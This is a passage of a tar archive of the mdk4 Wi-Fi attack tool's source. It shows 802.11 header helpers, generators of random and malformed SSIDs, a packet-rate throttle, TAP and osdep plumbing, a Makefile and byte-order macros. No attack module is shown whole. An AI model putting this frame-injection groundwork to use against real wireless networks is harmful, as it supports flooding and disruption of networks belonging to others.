(pkt->data); seq = letoh16(hdr->frag_seq); return (seq & 0xF); } void set_seqno(struct packet *pkt, uint16_t seq) { struct ieee_hdr *hdr; uint16_t frgseq; if (!pkt) { seqno = seq; return; } hdr = (struct ieee_hdr *) (pkt->data); frgseq = letoh16(hdr->frag_seq); frgseq &= 0x000F; //Clear seq, but keep fragment intact; frgseq |= (seq << 4); //Add seq hdr->frag_seq = htole16(frgseq); } void set_fragno(struct packet *pkt, uint8_t frag, int last_frag) { struct ieee_hdr *hdr = (struct ieee_hdr *) (pkt->data); uint16_t seq = letoh16(hdr->frag_seq); if (last_frag) hdr->flags &= 0xFB; else hdr->flags |= 0x04; seq &= 0xFFF0; //Clear frag bits seq |= frag; hdr->frag_seq = htole16(seq); } mdk4-master/src/helpers.c0000644000175000017500000000627013525065636016377 0ustar samuelophsamueloph#define _GNU_SOURCE //For getline() support #include #include #include #include #include #include "helpers.h" char generate_channel() { // Generate a random channel char c = 0; c = (random() % 14) + 1; return c; } char generate_printable_char(unsigned char malformed) { // Generate random printable ascii char, or just a random byte char rnd = 0; if (malformed) { rnd = random(); } else { rnd = (random() % 94) + ' '; } return rnd; } char *generate_ssid(unsigned char malformed) { char *ssid = (char*) malloc(256); int len=0; int t; if (malformed) { len = (random() % 256); } else { len = (random() % 32); } for (t=0; ttv_usec < y->tv_usec) { int nsec = (y->tv_usec - x->tv_usec) / 1000000 + 1; y->tv_usec -= 1000000 * nsec; y->tv_sec += nsec; } if (x->tv_usec - y->tv_usec > 1000000) { int nsec = (x->tv_usec - y->tv_usec) / 1000000; y->tv_usec += 1000000 * nsec; y->tv_sec -= nsec; } /* Compute the time remaining to wait. tv_usec is certainly positive. */ result->tv_sec = x->tv_sec - y->tv_sec; result->tv_usec = x->tv_usec - y->tv_usec; /* Return 1 if result is negative. */ return x->tv_sec < y->tv_sec; } void sleep_till_next_packet(unsigned int pps) { static struct timeval *lastvisit = NULL; struct timeval now, next, wait; unsigned int tbp; if (!pps) return; if (! lastvisit) { lastvisit = malloc(sizeof(struct timeval)); gettimeofday(lastvisit, NULL); return; } next.tv_sec = lastvisit->tv_sec; next.tv_usec = lastvisit->tv_usec; tbp = 1000000 / pps; next.tv_usec += tbp; if (next.tv_usec > 999999) { next.tv_usec -= 1000000; next.tv_sec++; } gettimeofday(&now, NULL); if (! timeval_subtract(&wait, &next, &now)) usleep(wait.tv_usec); gettimeofday(lastvisit, NULL); } char *read_next_line(char *filename, char reset) { static int last_pos = 0; int bytesread; char *line = NULL; char **pline = &line; FILE *file_fp; size_t initsize = 1; if (reset) last_pos = 0; if ((file_fp = fopen(filename, "r")) == NULL) { printf("Cannot open file: %s\n", filename); exit(2); } fseek(file_fp, last_pos, SEEK_SET); bytesread = getline(pline, &initsize, file_fp); line = *pline; if (bytesread == -1) { last_pos = 0; free(line); //Thanks valgrind for getting this BITCH. even if nothing is read from file, memory is still allocated by getline! fclose(file_fp); return NULL; } last_pos = ftell(file_fp); fclose(file_fp); //Remove newline if any if (line[strlen(line) - 1] == '\n') line[strlen(line) - 1] = 0x00; return line; } unsigned char *hex2bin(char *in, int *len) { *len = strlen(in) / 2; unsigned char *out = malloc(*len); int i; for (i=0; i<*len; i++) { sscanf(in + (i*2), "%2hhx", out+i); } return out; } mdk4-master/src/osdep/0000755000175000017500000000000013525065636015676 5ustar samuelophsamuelophmdk4-master/src/osdep/network.h0000644000175000017500000000136613525065636017546 0ustar samuelophsamueloph/* * Copyright (c) 2007, 2008, Andrea Bittau * * Networking structures. * */ #ifndef __AIRCRACK_NG_OSDEP_NETWORK_H__ #define __AIRCRACK_NG_OSDEP_NETWORK_H__ #include #include #include "osdep.h" enum { NET_RC = 1, NET_GET_CHAN, NET_SET_CHAN, NET_WRITE, NET_PACKET, /* 5 */ NET_GET_MAC, NET_MAC, NET_GET_MONITOR, NET_GET_RATE, NET_SET_RATE, }; struct net_hdr { uint8_t nh_type; uint32_t nh_len; uint8_t nh_data[0]; } __packed; extern struct wif *net_open(char *iface); extern int net_send(int s, int command, void *arg, int len); extern int net_read_exact(int s, void *arg, int len); extern int net_get(int s, void *arg, int *len); #endif /* __AIRCRACK_NG_OSEDEP_NETWORK_H__ */ mdk4-master/src/osdep/tap-win32/0000755000175000017500000000000013525065636017422 5ustar samuelophsamuelophmdk4-master/src/osdep/tap-win32/common.h0000644000175000017500000000641513525065636021071 0ustar samuelophsamueloph/* * TAP-Win32 -- A kernel driver to provide virtual tap device functionality * on Windows. Originally derived from the CIPE-Win32 * project by Damion K. Wilson, with extensive modifications by * James Yonan. * * All source code which derives from the CIPE-Win32 project is * Copyright (C) Damion K. Wilson, 2003, and is released under the * GPL version 2 (see below). * * All other source code is Copyright (C) 2002-2005 OpenVPN Solutions LLC, * and is released under the GPL version 2 (see below). * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 * as published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program (see the file COPYING included with this * distribution); if not, write to the Free Software Foundation, Inc., * 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA */ //=============================================== // This file is included both by OpenVPN and // the TAP-Win32 driver and contains definitions // common to both. //=============================================== //============= // TAP IOCTLs //============= #define TAP_CONTROL_CODE(request,method) \ CTL_CODE (FILE_DEVICE_UNKNOWN, request, method, FILE_ANY_ACCESS) // Present in 8.1 #define TAP_IOCTL_GET_MAC TAP_CONTROL_CODE (1, METHOD_BUFFERED) #define TAP_IOCTL_GET_VERSION TAP_CONTROL_CODE (2, METHOD_BUFFERED) #define TAP_IOCTL_GET_MTU TAP_CONTROL_CODE (3, METHOD_BUFFERED) #define TAP_IOCTL_GET_INFO TAP_CONTROL_CODE (4, METHOD_BUFFERED) #define TAP_IOCTL_CONFIG_POINT_TO_POINT TAP_CONTROL_CODE (5, METHOD_BUFFERED) #define TAP_IOCTL_SET_MEDIA_STATUS TAP_CONTROL_CODE (6, METHOD_BUFFERED) #define TAP_IOCTL_CONFIG_DHCP_MASQ TAP_CONTROL_CODE (7, METHOD_BUFFERED) #define TAP_IOCTL_GET_LOG_LINE TAP_CONTROL_CODE (8, METHOD_BUFFERED) #define TAP_IOCTL_CONFIG_DHCP_SET_OPT TAP_CONTROL_CODE (9, METHOD_BUFFERED) // Added in 8.2 /* obsoletes TAP_IOCTL_CONFIG_POINT_TO_POINT */ #define TAP_IOCTL_CONFIG_TUN TAP_CONTROL_CODE (10, METHOD_BUFFERED) //================= // Registry keys //================= #define ADAPTER_KEY "SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002BE10318}" #define NETWORK_CONNECTIONS_KEY "SYSTEM\\CurrentControlSet\\Control\\Network\\{4D36E972-E325-11CE-BFC1-08002BE10318}" //====================== // Filesystem prefixes //====================== #define USERMODEDEVICEDIR "\\\\.\\Global\\" #define SYSDEVICEDIR "\\Device\\" #define USERDEVICEDIR "\\DosDevices\\Global\\" #define TAPSUFFIX ".tap" //========================================================= // TAP_COMPONENT_ID -- This string defines the TAP driver // type -- different component IDs can reside in the system // simultaneously. //========================================================= #define TAP_COMPONENT_ID "tap0801" mdk4-master/src/osdep/Makefile0000644000175000017500000000347213525065636017344 0ustar samuelophsamuelophMDK_ROOT = ../.. include $(MDK_ROOT)/common.mak RTAP = radiotap LIB = libosdep.a CFLAGS += $(PIC) -I.. $(LIBAIRPCAP) OBJS_COMMON = network.o file.o OBJS = osdep.o $(OBJS_COMMON) #AIRPCAP_DIR = airpcap OBJS_APCAP = airpcap.o OBJS_OBSD = $(OBJS) openbsd.o openbsd_tap.o OBJS_NBSD = $(OBJS) netbsd.o netbsd_tap.o OBJS_FBSD = $(OBJS) freebsd.o freebsd_tap.o OBJS_LINUX = $(OBJS) linux.o linux_tap.o radiotap/radiotap.o common.o OBJS_DUMMY = $(OBJS) dummy.o dummy_tap.o OBJS_CYGWIN = $(OBJS) cygwin.o cygwin_tap.o radiotap/radiotap.o OBJS_DARWIN = $(OBJS) darwin.o darwin_tap.o radiotap/radiotap.o # XXX make it a DLL, without polluting cygwin.c ifeq ($(subst TRUE,true,$(filter TRUE true,$(airpcap) $(AIRPCAP))),true) OBJS_CYGWIN += $(OBJS_APCAP) DOPCAP = $(AR) x $(AC_ROOT)/../developers/Airpcap_Devpack/lib/libairpcap.a else DOPCAP = endif all: @echo Building for $(OSNAME) @$(MAKE) .os.$(OSNAME) .os.dummy: $(OBJS_DUMMY) $(AR) cru $(LIB) $(OBJS_DUMMY) $(RANLIB) $(LIB) touch $(@) .os.FreeBSD: $(OBJS_FBSD) $(AR) cru $(LIB) $(OBJS_FBSD) $(RANLIB) $(LIB) touch $(@) .os.GNU-kFreeBSD: $(OBJS_FBSD) $(AR) cru $(LIB) $(OBJS_FBSD) $(RANLIB) $(LIB) touch $(@) .os.OpenBSD: $(OBJS_OBSD) $(AR) cru $(LIB) $(OBJS_OBSD) $(RANLIB) $(LIB) touch $(@) .os.NetBSD: $(OBJS_NBSD) $(AR) cru $(LIB) $(OBJS_NBSD) $(RANLIB) $(LIB) touch $(@) .os.Linux: $(OBJS_LINUX) $(AR) cru $(LIB) $(OBJS_LINUX) $(RANLIB) $(LIB) touch $(@) .os.cygwin: $(OBJS_CYGWIN) $(DOPCAP) $(AR) cru $(LIB) *.o radiotap/radiotap.o $(RANLIB) $(LIB) touch $(@) .os.Darwin: $(OBJS_DARWIN) $(DOPCAP) $(AR) cru $(LIB) $(OBJS_DARWIN) $(RANLIB) $(LIB) touch $(@) .os.%: .os.dummy @echo "Your platform is unsupported by osdep, dummy code compiled." touch $(@) install: all uninstall: clean: $(MAKE) -C $(RTAP) clean rm -f $(LIB) *.o .os.* mdk4-master/src/osdep/common.h0000644000175000017500000000361413525065636017343 0ustar samuelophsamueloph/* * (c) 2010-2015 Thomas d'Otreppe * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and * NON-INFRINGEMENT. See the GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, * MA 02111-1307, USA. * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. If you * do not wish to do so, delete this exception statement from your * version. If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef _OSDEP_COMMON_H_ #define _OSDEP_COMMON_H_ int getFrequencyFromChannel(int channel); int getChannelFromFrequency(int frequency); /* // For later use, because aircrack-ng doesn't compile with MS compilers #if defined(WIN32) || defined(__WIN__) #define ftruncate(a, b) _chsize(a,b) #endif */ #define HIGHEST_CHANNEL 221 #define LOWEST_CHANNEL -16 #endif mdk4-master/src/osdep/linux_tap.c0000644000175000017500000001135713525065636020054 0ustar samuelophsamueloph /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for Linux. TAP routines * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" struct tip_linux { int tl_fd; struct ifreq tl_ifr; int tl_ioctls; char tl_name[MAX_IFACE_NAME]; }; static int ti_do_open_linux(struct tif *ti, char *name) { int fd_tap; struct ifreq if_request; struct tip_linux *priv = ti_priv(ti); fd_tap = open( name ? name : "/dev/net/tun", O_RDWR ); if(fd_tap < 0 ) { printf( "error opening tap device: %s\n", strerror( errno ) ); printf( "try \"modprobe tun\"\n"); return -1; } memset( &if_request, 0, sizeof( if_request ) ); if_request.ifr_flags = IFF_TAP | IFF_NO_PI; strncpy( if_request.ifr_name, "at%d", IFNAMSIZ ); if( ioctl( fd_tap, TUNSETIFF, (void *)&if_request ) < 0 ) { printf( "error creating tap interface: %s\n", strerror( errno ) ); close( fd_tap ); return -1; } strncpy( priv->tl_name, if_request.ifr_name, MAX_IFACE_NAME ); strncpy(priv->tl_ifr.ifr_name, priv->tl_name, sizeof(priv->tl_ifr.ifr_name) - 1); if ((priv->tl_ioctls = socket(PF_INET, SOCK_DGRAM, 0)) == -1) { priv->tl_ioctls = 0; close(fd_tap); return -1; } return fd_tap; } static void ti_do_free(struct tif *ti) { struct tip_fbsd *priv = ti_priv(ti); free(priv); free(ti); } static void ti_close_linux(struct tif *ti) { struct tip_linux *priv = ti_priv(ti); close(priv->tl_fd); close(priv->tl_ioctls); ti_do_free(ti); } static char *ti_name_linux(struct tif *ti) { struct tip_linux *priv = ti_priv(ti); return priv->tl_name; } static int ti_set_mtu_linux(struct tif *ti, int mtu) { struct tip_linux *priv = ti_priv(ti); priv->tl_ifr.ifr_mtu = mtu; return ioctl(priv->tl_ioctls, SIOCSIFMTU, &priv->tl_ifr); } static int ti_get_mtu_linux(struct tif *ti) { int mtu; struct tip_linux *priv = ti_priv(ti); if (ioctl(priv->tl_ioctls, SIOCSIFMTU, &priv->tl_ifr) != -1){ mtu = priv->tl_ifr.ifr_mtu; } else{ mtu = 1500; } return mtu; } static int ti_set_mac_linux(struct tif *ti, unsigned char *mac) { struct tip_linux *priv = ti_priv(ti); memcpy(priv->tl_ifr.ifr_hwaddr.sa_data, mac, 6); priv->tl_ifr.ifr_hwaddr.sa_family = ARPHRD_ETHER; return ioctl(priv->tl_ioctls, SIOCSIFHWADDR, &priv->tl_ifr); } static int ti_set_ip_linux(struct tif *ti, struct in_addr *ip) { struct tip_linux *priv = ti_priv(ti); struct sockaddr_in *s_in; s_in = (struct sockaddr_in*) &priv->tl_ifr.ifr_addr; s_in->sin_family = AF_INET; s_in->sin_addr = *ip; return ioctl(priv->tl_ioctls, SIOCSIFADDR, &priv->tl_ifr); } static int ti_fd_linux(struct tif *ti) { struct tip_linux *priv = ti_priv(ti); return priv->tl_fd; } static int ti_read_linux(struct tif *ti, void *buf, int len) { return read(ti_fd(ti), buf, len); } static int ti_write_linux(struct tif *ti, void *buf, int len) { return write(ti_fd(ti), buf, len); } static struct tif *ti_open_linux(char *iface) { struct tif *ti; struct tip_linux *priv; int fd; /* setup ti struct */ ti = ti_alloc(sizeof(*priv)); if (!ti) return NULL; ti->ti_name = ti_name_linux; ti->ti_set_mtu = ti_set_mtu_linux; ti->ti_get_mtu = ti_get_mtu_linux; ti->ti_close = ti_close_linux; ti->ti_fd = ti_fd_linux; ti->ti_read = ti_read_linux; ti->ti_write = ti_write_linux; ti->ti_set_mac = ti_set_mac_linux; ti->ti_set_ip = ti_set_ip_linux; /* setup iface */ fd = ti_do_open_linux(ti, iface); if (fd == -1) { ti_do_free(ti); return NULL; } /* setup private state */ priv = ti_priv(ti); priv->tl_fd = fd; return ti; } struct tif *ti_open(char *iface) { return ti_open_linux(iface); } mdk4-master/src/osdep/dummy_tap.c0000644000175000017500000000220013525065636020033 0ustar samuelophsamueloph /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for unsupported APIs. TAP routines * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA */ #include #include #include "osdep.h" static struct tif *ti_open_dummy(char *iface) { if (iface) {} /* XXX unused parameter */ return NULL; } struct tif *ti_open(char *iface) { return ti_open_dummy(iface); } mdk4-master/src/osdep/OSDEP_CHANGES_FOR_MDK3.txt0000644000175000017500000000024313525065636021724 0ustar samuelophsamueloph* copied common.mak into osdep folder * removed first two lines of Makefile and replaced it with: include common.mak * changed REVISION in common.mak to mdk3-v7 mdk4-master/src/osdep/byteorder.h0000644000175000017500000003304513525065636020053 0ustar samuelophsamueloph/* * Compatibility header * * Copyright (C) 2009-2015 Thomas d'Otreppe * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef _AIRCRACK_NG_BYTEORDER_H_ #define _AIRCRACK_NG_BYTEORDER_H_ #define ___my_swab16(x) \ ((u_int16_t)( \ (((u_int16_t)(x) & (u_int16_t)0x00ffU) << 8) | \ (((u_int16_t)(x) & (u_int16_t)0xff00U) >> 8) )) #define ___my_swab32(x) \ ((u_int32_t)( \ (((u_int32_t)(x) & (u_int32_t)0x000000ffUL) << 24) | \ (((u_int32_t)(x) & (u_int32_t)0x0000ff00UL) << 8) | \ (((u_int32_t)(x) & (u_int32_t)0x00ff0000UL) >> 8) | \ (((u_int32_t)(x) & (u_int32_t)0xff000000UL) >> 24) )) #define ___my_swab64(x) \ ((u_int64_t)( \ (u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x00000000000000ffULL) << 56) | \ (u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x000000000000ff00ULL) << 40) | \ (u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x0000000000ff0000ULL) << 24) | \ (u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x00000000ff000000ULL) << 8) | \ (u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x000000ff00000000ULL) >> 8) | \ (u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x0000ff0000000000ULL) >> 24) | \ (u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x00ff000000000000ULL) >> 40) | \ (u_int64_t)(((u_int64_t)(x) & (u_int64_t)0xff00000000000000ULL) >> 56) )) /* * Linux */ #if defined(linux) || defined(Linux) || defined(__linux__) || defined(__linux) || defined(__gnu_linux__) #include #include #include #ifndef __int8_t_defined typedef uint64_t u_int64_t; typedef uint32_t u_int32_t; typedef uint16_t u_int16_t; typedef uint8_t u_int8_t; #endif #endif /* * Cygwin */ #if defined(__CYGWIN32__) #include #include #define __be64_to_cpu(x) ___my_swab64(x) #define __be32_to_cpu(x) ___my_swab32(x) #define __be16_to_cpu(x) ___my_swab16(x) #define __cpu_to_be64(x) ___my_swab64(x) #define __cpu_to_be32(x) ___my_swab32(x) #define __cpu_to_be16(x) ___my_swab16(x) #define __le64_to_cpu(x) (x) #define __le32_to_cpu(x) (x) #define __le16_to_cpu(x) (x) #define __cpu_to_le64(x) (x) #define __cpu_to_le32(x) (x) #define __cpu_to_le16(x) (x) #define AIRCRACK_NG_BYTE_ORDER_DEFINED #endif /* * Windows (DDK) */ #if defined(__WIN__) #include #define __be64_to_cpu(x) ___my_swab64(x) #define __be32_to_cpu(x) ___my_swab32(x) #define __be16_to_cpu(x) ___my_swab16(x) #define __cpu_to_be64(x) ___my_swab64(x) #define __cpu_to_be32(x) ___my_swab32(x) #define __cpu_to_be16(x) ___my_swab16(x) #define __le64_to_cpu(x) (x) #define __le32_to_cpu(x) (x) #define __le16_to_cpu(x) (x) #define __cpu_to_le64(x) (x) #define __cpu_to_le32(x) (x) #define __cpu_to_le16(x) (x) #define AIRCRACK_NG_BYTE_ORDER_DEFINED #endif /* * MAC (Darwin) */ #if defined(__APPLE_CC__) #if defined(__x86_64__) && defined(__APPLE__) #include #define __swab64(x) (unsigned long long) OSSwapInt64((uint64_t)x) #define __swab32(x) (unsigned long) OSSwapInt32((uint32_t)x) #define __swab16(x) (unsigned short) OSSwapInt16((uint16_t)x) #define __be64_to_cpu(x) (unsigned long long) OSSwapBigToHostInt64((uint64_t)x) #define __be32_to_cpu(x) (unsigned long) OSSwapBigToHostInt32((uint32_t)x) #define __be16_to_cpu(x) (unsigned short) OSSwapBigToHostInt16((uint16_t)x) #define __le64_to_cpu(x) (unsigned long long) OSSwapLittleToHostInt64((uint64_t)x) #define __le32_to_cpu(x) (unsigned long) OSSwapLittleToHostInt32((uint32_t)x) #define __le16_to_cpu(x) (unsigned short) OSSwapLittleToHostInt16((uint16_t)x) #define __cpu_to_be64(x) (unsigned long long) OSSwapHostToBigInt64((uint64_t)x) #define __cpu_to_be32(x) (unsigned long) OSSwapHostToBigInt32((uint32_t)x) #define __cpu_to_be16(x) (unsigned short) OSSwapHostToBigInt16((uint16_t)x) #define __cpu_to_le64(x) (unsigned long long) OSSwapHostToLittleInt64((uint64_t)x) #define __cpu_to_le32(x) (unsigned long) OSSwapHostToLittleInt32((uint32_t)x) #define __cpu_to_le16(x) (unsigned short) OSSwapHostToLittleInt16((uint16_t)x) #else #include #define __swab64(x) NXSwapLongLong(x) #define __swab32(x) NXSwapLong(x) #define __swab16(x) NXSwapShort(x) #define __be64_to_cpu(x) NXSwapBigLongLongToHost(x) #define __be32_to_cpu(x) NXSwapBigLongToHost(x) #define __be16_to_cpu(x) NXSwapBigShortToHost(x) #define __le64_to_cpu(x) NXSwapLittleLongLongToHost(x) #define __le32_to_cpu(x) NXSwapLittleLongToHost(x) #define __le16_to_cpu(x) NXSwapLittleShortToHost(x) #define __cpu_to_be64(x) NXSwapHostLongLongToBig(x) #define __cpu_to_be32(x) NXSwapHostLongToBig(x) #define __cpu_to_be16(x) NXSwapHostShortToBig(x) #define __cpu_to_le64(x) NXSwapHostLongLongToLittle(x) #define __cpu_to_le32(x) NXSwapHostLongToLittle(x) #define __cpu_to_le16(x) NXSwapHostShortToLittle(x) #endif #define __LITTLE_ENDIAN 1234 #define __BIG_ENDIAN 4321 #define __PDP_ENDIAN 3412 #define __BYTE_ORDER __BIG_ENDIAN #define AIRCRACK_NG_BYTE_ORDER_DEFINED #endif /* * Solaris * ------- */ #if defined(__sparc__) && defined(__sun__) #include #include #include #define __be64_to_cpu(x) (x) #define __be32_to_cpu(x) (x) #define __be16_to_cpu(x) (x) #define __cpu_to_be64(x) (x) #define __cpu_to_be32(x) (x) #define __cpu_to_be16(x) (x) #define __le64_to_cpu(x) ___my_swab64(x) #define __le32_to_cpu(x) ___my_swab32(x) #define __le16_to_cpu(x) ___my_swab16(x) #define __cpu_to_le64(x) ___my_swab64(x) #define __cpu_to_le32(x) ___my_swab32(x) #define __cpu_to_le16(x) ___my_swab16(x) typedef uint64_t u_int64_t; typedef uint32_t u_int32_t; typedef uint16_t u_int16_t; typedef uint8_t u_int8_t; #define AIRCRACK_NG_BYTE_ORDER_DEFINED #endif /* * Custom stuff */ #if defined(__MACH__) && !defined(__APPLE_CC__) && !defined(__GNU__) #include #define __cpu_to_be64(x) = OSSwapHostToBigInt64(x) #define __cpu_to_be32(x) = OSSwapHostToBigInt32(x) #define AIRCRACK_NG_BYTE_ORDER_DEFINED #endif // FreeBSD #ifdef __FreeBSD__ #include #endif // XXX: Is there anything to include on OpenBSD/NetBSD/DragonFlyBSD/...? // XXX: Mac: Check http://www.opensource.apple.com/source/CF/CF-476.18/CFByteOrder.h // http://developer.apple.com/DOCUMENTATION/CoreFoundation/Reference/CFByteOrderUtils/Reference/reference.html // Write to apple to ask what should be used. #if defined(LITTLE_ENDIAN) #define AIRCRACK_NG_LITTLE_ENDIAN LITTLE_ENDIAN #elif defined(__LITTLE_ENDIAN) #define AIRCRACK_NG_LITTLE_ENDIAN __LITTLE_ENDIAN #elif defined(_LITTLE_ENDIAN) #define AIRCRACK_NG_LITTLE_ENDIAN _LITTLE_ENDIAN #endif #if defined(BIG_ENDIAN) #define AIRCRACK_NG_BIG_ENDIAN BIG_ENDIAN #elif defined(__BIG_ENDIAN) #define AIRCRACK_NG_BIG_ENDIAN __BIG_ENDIAN #elif defined(_BIG_ENDIAN) #define AIRCRACK_NG_BIG_ENDIAN _BIG_ENDIAN #endif #if !defined(AIRCRACK_NG_LITTLE_ENDIAN) && !defined(AIRCRACK_NG_BIG_ENDIAN) #error Impossible to determine endianness (Little or Big endian), please contact the author. #endif #if defined(BYTE_ORDER) #if (BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN) #define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_LITTLE_ENDIAN #elif (BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN) #define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_BIG_ENDIAN #endif #elif defined(__BYTE_ORDER) #if (__BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN) #define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_LITTLE_ENDIAN #elif (__BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN) #define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_BIG_ENDIAN #endif #elif defined(_BYTE_ORDER) #if (_BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN) #define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_LITTLE_ENDIAN #elif (_BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN) #define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_BIG_ENDIAN #endif #endif #ifndef AIRCRACK_NG_BYTE_ORDER #error Impossible to determine endianness (Little or Big endian), please contact the author. #endif #if (AIRCRACK_NG_BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN) #ifndef AIRCRACK_NG_BYTE_ORDER_DEFINED #define __be64_to_cpu(x) ___my_swab64(x) #define __be32_to_cpu(x) ___my_swab32(x) #define __be16_to_cpu(x) ___my_swab16(x) #define __cpu_to_be64(x) ___my_swab64(x) #define __cpu_to_be32(x) ___my_swab32(x) #define __cpu_to_be16(x) ___my_swab16(x) #define __le64_to_cpu(x) (x) #define __le32_to_cpu(x) (x) #define __le16_to_cpu(x) (x) #define __cpu_to_le64(x) (x) #define __cpu_to_le32(x) (x) #define __cpu_to_le16(x) (x) #endif #ifndef htobe16 #define htobe16 ___my_swab16 #endif #ifndef htobe32 #define htobe32 ___my_swab32 #endif #ifndef htobe64 #define htobe64 ___my_swab64 #endif #ifndef betoh16 #define betoh16 ___my_swab16 #endif #ifndef betoh32 #define betoh32 ___my_swab32 #endif #ifndef betoh64 #define betoh64 ___my_swab64 #endif #ifndef htole16 #define htole16(x) (x) #endif #ifndef htole32 #define htole32(x) (x) #endif #ifndef htole64 #define htole64(x) (x) #endif #ifndef letoh16 #define letoh16(x) (x) #endif #ifndef letoh32 #define letoh32(x) (x) #endif #ifndef letoh64 #define letoh64(x) (x) #endif #endif #if (AIRCRACK_NG_BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN) #ifndef AIRCRACK_NG_BYTE_ORDER_DEFINED #define __be64_to_cpu(x) (x) #define __be32_to_cpu(x) (x) #define __be16_to_cpu(x) (x) #define __cpu_to_be64(x) (x) #define __cpu_to_be32(x) (x) #define __cpu_to_be16(x) (x) #define __le64_to_cpu(x) ___my_swab64(x) #define __le32_to_cpu(x) ___my_swab32(x) #define __le16_to_cpu(x) ___my_swab16(x) #define __cpu_to_le64(x) ___my_swab64(x) #define __cpu_to_le32(x) ___my_swab32(x) #define __cpu_to_le16(x) ___my_swab16(x) #endif #ifndef htobe16 #define htobe16(x) (x) #endif #ifndef htobe32 #define htobe32(x) (x) #endif #ifndef htobe64 #define htobe64(x) (x) #endif #ifndef betoh16 #define betoh16(x) (x) #endif #ifndef betoh32 #define betoh32(x) (x) #endif #ifndef betoh64 #define betoh64(x) (x) #endif #ifndef htole16 #define htole16 ___my_swab16 #endif #ifndef htole32 #define htole32 ___my_swab32 #endif #ifndef htole64 #define htole64 ___my_swab64 #endif #ifndef letoh16 #define letoh16 ___my_swab16 #endif #ifndef letoh32 #define letoh32 ___my_swab32 #endif #ifndef letoh64 #define letoh64 ___my_swab64 #endif #endif // Common defines #define cpu_to_le64 __cpu_to_le64 #define le64_to_cpu __le64_to_cpu #define cpu_to_le32 __cpu_to_le32 #define le32_to_cpu __le32_to_cpu #define cpu_to_le16 __cpu_to_le16 #define le16_to_cpu __le16_to_cpu #define cpu_to_be64 __cpu_to_be64 #define be64_to_cpu __be64_to_cpu #define cpu_to_be32 __cpu_to_be32 #define be32_to_cpu __be32_to_cpu #define cpu_to_be16 __cpu_to_be16 #define be16_to_cpu __be16_to_cpu #ifndef le16toh #define le16toh le16_to_cpu #endif #ifndef be16toh #define be16toh be16_to_cpu #endif #ifndef le32toh #define le32toh le32_to_cpu #endif #ifndef 